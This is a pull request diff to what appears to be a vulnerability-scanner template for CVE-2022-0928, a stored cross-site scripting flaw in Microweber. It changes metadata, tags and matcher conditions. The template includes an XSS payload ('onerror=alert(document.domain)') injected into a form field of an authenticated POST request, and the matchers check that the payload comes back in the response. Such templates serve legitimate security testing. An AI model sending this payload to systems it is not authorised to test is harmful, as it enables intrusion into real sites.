Merge pull request #5769 from daffainfo/patch-35

improve: changing 1 matcher CVE-2022-0928

cves/2022/CVE-2022-0928.yaml

@@ -1,7 +1,7 @@
 id: CVE-2022-0928
 
 info:
-  name: Microweber <1.2.12 - Stored Cross-Site Scripting
+  name: Microweber < 1.2.12 - Stored Cross-Site Scripting
   author: amit-jd
   severity: medium
   description: |
@@ -16,8 +16,8 @@ info:
     cve-id: CVE-2022-0928
     cwe-id: CWE-79
   metadata:
-    verified: "true"
-  tags: authenticated,huntr,cve,cve2022,xss,microweber,cms
+    verified: true
+  tags: cve,cve2022,authenticated,huntr,xss,microweber,cms
 
 requests:
   - raw:
@@ -36,7 +36,7 @@ requests:
 
         id=0&name=vat1&type="><img+src%3dx+onerror%3dalert(document.domain)>&rate=10
 
-      - |-
+      - |
         POST /module HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded; charset=UTF-8
@@ -49,9 +49,9 @@ requests:
     matchers:
       - type: dsl
         dsl:
-          - contains(body_3,'<td>\"><img src=x onerror=alert(document.domain)></td>')
+          - 'contains(body_3,"<img src=x onerror=alert(document.domain)></td>")'
           - 'contains(all_headers_3,"text/html")'
-          - 'status_code==200'
+          - 'status_code_2 == 200 && status_code_3 == 200'
         condition: and
 
 # Enhanced by mp on 2022/09/14